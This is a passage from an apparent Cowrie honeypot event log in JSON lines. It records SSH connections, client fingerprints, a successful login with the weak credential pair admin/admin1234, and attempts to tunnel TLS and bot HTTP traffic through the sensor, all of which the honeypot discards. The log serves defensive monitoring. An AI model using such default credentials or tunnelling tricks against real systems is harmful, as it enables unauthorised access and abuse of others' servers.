\\x0b\\xb7\\x05\\x0fU\\x9c\\x02\\x06W\\x86\\xf1Q\\x85\\x1at\\x1e\\xa0\\x99 \\x0c \\x96,\\x95\\xc5\\x06;\\x02\\xad\\xbe}p\\x00-\\x00\\x02\\x01\\x01\\x00+\\x00\\x0b\\njj\\x03\\x04\\x03\\x03\\x03\\x02\\x03\\x01\\x00\\x1b\\x00\\x03\\x02\\x00\\x02\\x8a\\x8a\\x00\\x01\\x00\\x00\\x15\\x00\\xc8\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00'","id":2,"message":"discarded direct-tcp forward request 2 to 104.21.5.61:443 with data b'\\x16\\x03\\x01\\x02\\x00\\x01\\x00\\x01\\xfc\\x03\\x03\\xe8\\xe1e_\\xbc\\xbai\\xd4\\xff\\xf9\\xac\\xc2#\\x88\\\\\\xc1\\t\\xc0\\x9d\\x0f\\xb4\\xd6PF\\x041w\\xb5\\xf5t\\x16\\x13 -\"\\x0eR\\x8d\\xe4\\x92Q\\xbc\\xfc&\\xfe\\xe6y#\\xa8\\xe3\\'h\\xc7$bg\\xdb\\xf3PH\\x08\\xdfG2\\xfa\\x00\"\\xda\\xda\\x13\\x01\\x13\\x02\\x13\\x03\\xc0+\\xc0/\\xc0,\\xc00\\xcc\\xa9\\xcc\\xa8\\xc0\\x13\\xc0\\x14\\x00\\x9c\\x00\\x9d\\x00/\\x005\\x00\\n\\x01\\x00\\x01\\x91\\xba\\xba\\x00\\x00\\x00\\x00\\x00\\x15\\x00\\x13\\x00\\x00\\x10tff.deepmedia.vn\\x00\\x17\\x00\\x00\\xff\\x01\\x00\\x01\\x00\\x00\\n\\x00\\n\\x00\\x08\\n\\n\\x00\\x1d\\x00\\x17\\x00\\x18\\x00\\x0b\\x00\\x02\\x01\\x00\\x00#\\x00\\x00\\x00\\x10\\x00\\x0e\\x00\\x0c\\x02h2\\x08http/1.1\\x00\\x05\\x00\\x05\\x01\\x00\\x00\\x00\\x00\\x00\\r\\x00\\x14\\x00\\x12\\x04\\x03\\x08\\x04\\x04\\x01\\x05\\x03\\x08\\x05\\x05\\x01\\x08\\x06\\x06\\x01\\x02\\x01\\x00\\x12\\x00\\x00\\x003\\x00+\\x00)\\n\\n\\x00\\x01\\x00\\x00\\x1d\\x00 \\x0b\\xb7\\x05\\x0fU\\x9c\\x02\\x06W\\x86\\xf1Q\\x85\\x1at\\x1e\\xa0\\x99 \\x0c \\x96,\\x95\\xc5\\x06;\\x02\\xad\\xbe}p\\x00-\\x00\\x02\\x01\\x01\\x00+\\x00\\x0b\\njj\\x03\\x04\\x03\\x03\\x03\\x02\\x03\\x01\\x00\\x1b\\x00\\x03\\x02\\x00\\x02\\x8a\\x8a\\x00\\x01\\x00\\x00\\x15\\x00\\xc8\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00'","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T23:51:51.031098Z","src_ip":"123.27.168.40","session":"a69d05b6c38e","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"8.7","message":"Connection lost after 8.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T23:51:51.794022Z","src_ip":"123.27.168.40","session":"a69d05b6c38e","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"23.175.50.47","src_port":64973,"dst_ip":"10.17.0.5","dst_port":22,"session":"fde4d0e100f1","protocol":"ssh","message":"New connection: 23.175.50.47:64973 (10.17.0.5:22) [session: fde4d0e100f1]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T23:51:53.109996Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-PuTTY_Release_0.70","message":"Remote SSH version: SSH-2.0-PuTTY_Release_0.70","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T23:51:53.114913Z","src_ip":"23.175.50.47","session":"fde4d0e100f1","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0425c279610910d2d9aef3b285e59b86","hasshAlgorithms":"curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha1,rsa2048-sha256,rsa1024-sha1,diffie-hellman-group1-sha1;aes256-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-ctr,aes192-cbc,aes128-ctr,aes128-cbc,chacha20-poly1305@openssh.com,blowfish-ctr,blowfish-cbc,3des-ctr,3des-cbc,arcfour256,arcfour128;hmac-sha2-256,hmac-sha1,hmac-sha1-96,hmac-md5,hmac-sha2-256-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha1-96-etm@openssh.com,hmac-md5-etm@openssh.com;none,zlib","kexAlgs":["curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group-exchange-sha256","diffie-hellman-group-exchange-sha1","diffie-hellman-group14-sha1","rsa2048-sha256","rsa1024-sha1","diffie-hellman-group1-sha1"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-rsa","ssh-dss"],"encCS":["aes256-ctr","aes256-cbc","rijndael-cbc@lysator.liu.se","aes192-ctr","aes192-cbc","aes128-ctr","aes128-cbc","chacha20-poly1305@openssh.com","blowfish-ctr","blowfish-cbc","3des-ctr","3des-cbc","arcfour256","arcfour128"],"macCS":["hmac-sha2-256","hmac-sha1","hmac-sha1-96","hmac-md5","hmac-sha2-256-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha1-96-etm@openssh.com","hmac-md5-etm@openssh.com"],"compCS":["none","zlib"],"langCS":[""],"message":"SSH client hassh fingerprint: 0425c279610910d2d9aef3b285e59b86","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T23:51:53.195469Z","src_ip":"23.175.50.47","session":"fde4d0e100f1","protocol":"ssh"}
{"eventid":"cowrie.login.success","username":"admin","password":"admin1234","message":"login attempt [admin/admin1234] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T23:51:54.682495Z","src_ip":"23.175.50.47","session":"fde4d0e100f1","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":30.878000736236572,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T23:51:58.221592Z","src_ip":"128.199.8.54","session":"703572897355","protocol":"telnet"}
{"eventid":"cowrie.direct-tcpip.request","dst_ip":"159.65.2.87","dst_port":80,"src_ip":"173.208.188.210","src_port":0,"message":"direct-tcp connection request to 159.65.2.87:80 from 0.0.0.0:0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T23:51:59.605779Z","session":"5a609aea770c","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.request","dst_ip":"172.67.133.8","dst_port":443,"src_ip":"173.208.188.210","src_port":0,"message":"direct-tcp connection request to 172.67.133.8:443 from 0.0.0.0:0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T23:51:59.610417Z","session":"5a609aea770c","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.request","dst_ip":"172.67.133.8","dst_port":443,"src_ip":"173.208.188.210","src_port":0,"message":"direct-tcp connection request to 172.67.133.8:443 from 0.0.0.0:0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T23:51:59.613331Z","session":"5a609aea770c","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.ja4h","dst_ip":"159.65.2.87","dst_port":80,"ja4h":"po11nn10enus_0af5a74ca4c0_000000000000_000000000000","message":"JA4H fingerprint for forwarded HTTP to 159.65.2.87:80: po11nn10enus_0af5a74ca4c0_000000000000_000000000000","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T23:51:59.647596Z","src_ip":"173.208.188.210","session":"5a609aea770c","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.data","dst_ip":"159.65.2.87","dst_port":80,"data":"b'POST /bot/statistic HTTP/1.1\\r\\nHost: api.9hits.com\\r\\nUser-Agent: Mozilla/5.0 (X11; FreeBSD; Linux i386; rv:76.0) Gecko/20100101 Firefox/76.0\\r\\nAccept-Language: en-US\\r\\nAccept-Encoding: gzip, deflate\\r\\nContent-Type: application/x-www-form-urlencoded\\r\\nContent-Length: 1168\\r\\nOrigin: http://api.9hits.com\\r\\nConnection: keep-alive\\r\\nPragma: no-cache\\r\\nCache-Control: no-cache\\r\\n\\r\\n_=dlkrfns4fkQvQlN0Tk1rfQ%3D%3D4HRCUVatNJrVwgwXg5wFIUHGIESkVKS5Q0f5FEw0YWdkonQJZIU8JHl5tOr8H6z31WpiCdFoUdYmbAdMJBvgUUel2pByIkOSsKBdbhyLwbjOtKk5uB5D3V6OS5%2BVT6fLlqtc81FQV7BW1pwGK6KEpZdO2I4ksPZtJmwl80t29DCGlTgDf1c0yZiFpwUrFdYKptQjxh4HDXzUHbTO5zgzbPnVBEEFosi1xPp29A4buTv00h48a8XukOcT%2FLyaXXsVzctUZCCEMU%2Fg93CyuylBmOOHK%2FwusX12SJYm0SyvLsb53mwx7VK53Ur0HXYYf%2BZ%2FGM3HMn5f48oHHslnd6U7pG7kQWprbOcDJjo%2BSspqepqdSH%2FwnPd6C90AUwBEQVpYvtV9mCNBMqQpTjJalA0SGcwxlisRDIjQHuT%2Bwst%2Fgp0xgU13F4UyGDw7FGsY3MwhRyPqi91CwNy2rI3UHybYzsTVtfm9w7fDMxBHdwhcvndnvUjCU8Pd4mAVQzV%2BryIjV4ZwT8NSGJ3j7UyCKktx1FQDIV6yHV8QXuI4sxd0OaIaNS3HWtUIrDLPLP64RzxATAipyawJT7fUxLakJsmWo03%2B8yJRVJdYNfU89z7G97Mj9%2BiLKig4hMSHzpYB1K3PUnkuo7sRjDGgGrl6hmGGByCoQAi8Jv069G%2FQuD7b7gRsPuJ0jFMssKsNgqpWfA4J6hfN7avHhK3fVrmN%2F2OcoyypjTWDDW4wNsI1pGLDK%2FpfgnLXagpzeDz2OQ9qjDzlnuIT9eZi%2F2%2FpxZ8rk8vX%2BSqofT8qDl7sz5TWpD1TE7nZnFh98vqRNJ2lnv1z1wVXlHZcZSUw3vNOH3nad8jSPB7FrECajqA7qLnGyArZRz8qEy2o9HueRixVvoGGBVczGfT1rFlFLmCAh6byvTAhTL2tuGdX2fZ9vjXmpznOu%2Bs7M0a2Js7Poec4%2FswUGKcWloueVrtO7zB1516ZfWOkxKWSLoGwMhZpo8%2FcmeeqqNZqG8GX3kc2EGreCXEu12kM0%2Fr4dA9U8MRDMmNcjGAsLyTUXxcU7ELOz88hX23fQ5HPTF5dt8EqS%2F7%2BVzkEB0Fg'","id":0,"message":"discarded direct-tcp forward request 0 to 159.65.2.87:80 with data b'POST /bot/statistic HTTP/1.1\\r\\nHost: api.9hits.com\\r\\nUser-Agent: Mozilla/5.0 (X11; FreeBSD; Linux i386; rv:76.0) Gecko/20100101 Firefox/76.0\\r\\nAccept-Language: en-US\\r\\nAccept-Encoding: gzip, deflate\\r\\nContent-Type: application/x-www-form-urlencoded\\r\\nContent-Length: 1168\\r\\nOrigin: http://api.9hits.com\\r\\nConnection: keep-alive\\r\\nPragma: no-cache\\r\\nCache-Control: no-cache\\r\\n\\r\\n_=dlkrfns4fkQvQlN0Tk1rfQ%3D%3D4HRCUVatNJrVwgwXg5wFIUHGIESkVKS5Q0f5FEw0YWdkonQJZIU8JHl5tOr8H6z31WpiCdFoUdYmbAdMJBvgUUel2pByIkOSsKBdbhyLwbjOtKk5uB5D3V6OS5%2BVT6fLlqtc81FQV7BW1pwGK6KEpZdO2I4ksPZtJmwl80t29DCGlTgDf1c0yZiFpwUrFdYKptQjxh4HDXzUHbTO5zgzbPnVBEEFosi1xPp29A4buTv00h48a8XukOcT%2FLyaXXsVzctUZCCEMU%2Fg93CyuylBmOOHK%2FwusX12SJYm0SyvLsb53mwx7VK53Ur0HXYYf%2BZ%2FGM3HMn5f48oHHslnd6U7pG7kQWprbOcDJjo%2BSspqepqdSH%2FwnPd6C90AUwBEQVpYvtV9mCNBMqQpTjJalA0SGcwxlisRDIjQHuT%2Bwst%2Fgp0xgU13F4UyGDw7FGsY3MwhRyPqi91CwNy2rI3UHybYzsTVtfm9w7fDMxBHdwhcvndnvUjCU8Pd4mAVQzV%2BryIjV4ZwT8NSGJ3j7UyCKktx1FQDIV6yHV8QXuI4sxd0OaIaNS3HWtUIrDLPLP64RzxATAipyawJT7fUxLakJsmWo03%2B8yJRVJdYNfU89z7G97Mj9%2BiLKig4hMSHzpYB1K3PUnkuo7sRjDGgGrl6hmGGByCoQAi8Jv069G%2FQuD7b7gRsPuJ0jFMssKsNgqpWfA4J6hfN7avHhK3fVrmN%2F2OcoyypjTWDDW4wNsI1pGLDK%2FpfgnLXagpzeDz2OQ9qjDzlnuIT9eZi%2F2%2FpxZ8rk8vX%2BSqofT8qDl7sz5TWpD1TE7nZnFh98vqRNJ2lnv1z1wVXlHZcZSUw3vNOH3nad8jSPB7FrECajqA7qLnGyArZRz8qEy2o9HueRixVvoGGBVczGfT1rFlFLmCAh6byvTAhTL2tuGdX2fZ9vjXmpznOu%2Bs7M0a2Js7Poec4%2FswUGKcWloueVrtO7zB1516ZfWOkxKWSLoGwMhZpo8%2FcmeeqqNZqG8GX3kc2EGreCXEu12kM0%2Fr4dA9U8MRDMmNcjGAsLyTUXxcU7ELOz88hX23fQ5HPTF5dt8EqS%2F7%2BVzkEB0Fg'","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T23:51:59.650472Z","src_ip":"173.208.188.210","session":"5a609aea770c","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.ja4","dst_ip":"172.67.133.8","dst_port":443,"ja4":"t12d1515h2_8daaf6152771_5563d4852cd1","message":"JA4 fingerprint for forwarded TLS to 172.67.133.8:443: t12d1515h2_8daaf6152771_5563d4852cd1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T23:51:59.655198Z","src_ip":"173.208.188.210","session":"5a609aea770c","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.data","dst_ip":"172.67.133.8","dst_port":443,"data":"b'\\x16\\x03\\x01\\x02\\x00\\x01\\x00\\x01\\xfc\\x03\\x03\\xb8\\xfe\\x00\\xa6S\\x95\\xf1\\xf9\\x8b\\x9b-X\\xf8\\xc9\\x81\\x00\\xee\\xa5\\x9d1\\x0c\\xf4%\\xaa\\x92C\\x19\\xc1\\xffD\\xdc\\x03 \\x00\\t\\x11\\x89\\xdcQuY\\xbb\\x95\\xdb\\xbe>r\\xfd\\x9f\\x9e-\\x99\\x98\\xad\\xfa\\x92\\xafH\\xd4}\\xe1c@\\xd42\\x00 zz\\x13\\x01\\x13\\x02\\x13\\x03\\xc0+\\xc0/\\xc0,\\xc00\\xcc\\xa9\\xcc\\xa8\\xc0\\x13\\xc0\\x14\\x00\\x9c\\x00\\x9d\\x00/\\x005\\x01\\x00\\x01\\x93\\x1a\\x1a\\x00\\x00\\x00\\x00\\x00\\x15\\x00\\x13\\x00\\x00\\x10tff.deepmedia.vn\\x00\\x17\\x00\\x00\\xff\\x01\\x00\\x01\\x00\\x00\\n\\x00\\n\\x00\\x08\\xea\\xea\\x00\\x1d\\x00\\x17\\x00\\x18\\x00\\x0b\\x00\\x02\\x01\\x00\\x00#\\x00\\x00\\x00\\x10\\x00\\x0e\\x00\\x0c\\x02h2\\x08http/1.1\\x00\\x05\\x00\\x05\\x01\\x00\\x00\\x00\\x00\\x00\\r\\x00\\x12\\x00\\x10\\x04\\x03\\x08\\x04\\x04\\x01\\x05\\x03\\x08\\x05\\x05\\x01\\x08\\x06\\x06\\x01\\x00\\x12\\x00\\x00\\x003\\x00+\\x00)\\xea\\xea\\x00\\x01\\x00\\x00\\x1d\\x00 (\\xfe\\x07Y*\\x15\\xe1@\\xfc\\x9f\\xc4\\xd3h\\xb3E\\xd5\\xcc\\xbb\\xdc\\x90g\\xbae`\\xa1g\\x12\\x85\\x99A$\"\\x00-\\x00\\x02\\x01\\x01\\x00+\\x00\\x0b\\n**\\x03\\x04\\x03\\x03\\x03\\x02\\x03\\x01\\x00\\x1b\\x00\\x03\\x02\\x00\\x02\\x8a\\x8a\\x00\\x01\\x00\\x00\\x15\\x00\\xcc\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00'","id":1,"message":"discarded direct-tcp forward request 1 to 172.67.133.8:443 with data b'\\x16\\x03\\x01\\x02\\x00\\x01\\x00\\x01\\xfc\\x03\\x03\\xb8\\xfe\\x00\\xa6S\\x95\\xf1\\xf9\\x8b\\x9b-X\\xf8\\xc9\\x81\\x00\\xee\\xa5\\x9d1\\x0c\\xf4%\\xaa\\x92C\\x19\\xc1\\xffD\\xdc\\x03 \\x00\\t\\x11\\x89\\xdcQuY\\xbb\\x95\\xdb\\xbe>r\\xfd\\x9f\\x9e-\\x99\\x98\\xad\\xfa\\x92\\xafH\\xd4}\\xe1c@\\xd42\\x00 zz\\x13\\x01\\x13\\x02\\x13\\x03\\xc0+\\xc0/\\xc0,\\xc00\\xcc\\xa9\\xcc\\xa8\\xc0\\x13\\xc0\\x14\\x00\\x9c\\x00\\x9d\\x00/\\x005\\x01\\x00\\x01\\x93\\x1a\\x1a\\x00\\x00\\x00\\x00\\x00\\x15\\x00\\x13\\x00\\x00\\x10tff.deepmedia.vn\\x00\\x17\\x00\\x00\\xff\\x01\\x00\\x01\\x00\\x00\\n\\x00\\n\\x00\\x08\\xea\\xea\\x00\\x1d\\x00\\x17\\x00\\x18\\x00\\x0b\\x00\\x02\\x01\\x00\\x00#\\x00\\x00\\x00\\x10\\x00\\x0e\\x00\\x0c\\x02h2\\x08http/1.1\\x00\\x05\\x00\\x05\\x01\\x00\\x00\\x00\\x00\\x00\\r\\x00\\x12\\x00\\x10\\x04\\x03\\x08\\x04\\x04\\x01\\x05\\x03\\x08\\x05\\x05\\x01\\x08\\x06\\x06\\x01\\x00\\x12\\x00\\x00\\x003\\x00+\\x00)\\xea\\xea\\x00\\x01\\x00\\x00\\x1d\\x00 (\\xfe\\x07Y*\\x15\\xe1@\\xfc\\x9f\\xc4\\xd3h\\xb3E\\xd5\\xcc\\xbb\\xdc\\x90g\\xbae`\\xa1g\\x12\\x85\\x99A$\"\\x00-\\x00\\x02\\x01\\x01\\x00+\\x00\\x0b\\n**\\x03\\x04\\x03\\x03\\x03\\x02\\x03\\x01\\x00\\x1b\\x00\\x03\\x02\\x00\\x02\\x8a\\x8a\\x00\\x01\\x00\\x00\\x15\\x00\\xcc\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00'","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T23:51:59.657749Z","src_ip":"173.208.188.210","session":"5a609aea770c","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.ja4","dst_ip":"172.67.133.8","dst_port":443,"ja4":"t12d1515h2_8daaf6152771_5563d4852cd1","message":"JA4 fingerprint for forwarded TLS to 172.67.133.8:443: t12d1515h2_8daaf6152771_5563d4852cd1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T23:51:59.660718Z","src_ip":"173.208.188.210","session":"5a609aea770c","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.data","dst_ip":"172.67.133.8","dst_port":443,"data":"b'\\x16\\x03\\x01\\x02\\x00\\x01\\x00\\x01\\xfc\\x03\\x03\\xcd,)\\x9b\\xfe:w2\\x8fx\\xc4\\xc7\\xb3\\xa2\\xc0&\\xf8\\xf1)\\xee\\xb4I\\xfc\\x17\\xfa\\x96@\\x03\\xdd)\\x17\\x18 @\\x170Z\\x1a\\x1b\\xf8\\xefJ\\x16\\xfeb\\xc8\\x83u\\xdb\\x05\\xb4\\xcc\\x1e\\xce\\x8b\\x92\\x9d\\xc7U\\'\\x9e\\xdd\\xd3.\\xe5\\x00 \\xaa\\xaa\\x13\\x01\\x13\\x02\\x13\\x03\\xc0+\\xc0/\\xc0,\\xc00\\xcc\\xa9\\xcc\\xa8\\xc0\\x13\\xc0\\x14\\x00\\x9c\\x00\\x9d\\x00/\\x005\\x01\\x00\\x01\\x93\\xaa\\xaa\\x00\\x00\\x00\\x00\\x00\\x15\\x00\\x13\\x00\\x00\\x10tff.deepmedia.vn\\x00\\x17\\x00\\x00\\xff\\x01\\x00\\x01\\x00\\x00\\n\\x00\\n\\x00\\x08ZZ\\x00\\x1d\\x00\\x17\\x00\\x18\\x00\\x0b\\x00\\x02\\x01\\x00\\x00#\\x00\\x00\\x00\\x10\\x00\\x0e\\x00\\x0c\\x02h2\\x08http/1.1\\x00\\x05\\x00\\x05\\x01\\x00\\x00\\x00\\x00\\x00\\r\\x00\\x12\\x00\\x10\\x04\\x03\\x08\\x04\\x04\\x01\\x05\\x03\\x08\\x05\\x05\\x01\\x08\\x06\\x06\\x01\\x00\\x12\\x00\\x00\\x003\\x00+\\x00)ZZ\\x00\\x01\\x00\\x00\\x1d\\x00 I\\xd4\\xe5h$\\x88\"h\\xa9pPA\\n>\\xe6\\x85]\\xf7\\x0e\\xa7\\x87\\x15#U\\xcc\\xc1Wk\\xcd\\xe9\\x96I\\x00-\\x00\\x02\\x01\\x01\\x00+\\x00\\x0b\\n::\\x03\\x04\\x03\\x03\\x03\\x02\\x03\\x01\\x00\\x1b\\x00\\x03\\x02\\x00\\x02\\xba\\xba\\x00\\x01\\x00\\x00\\x15\\x00\\xcc\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x0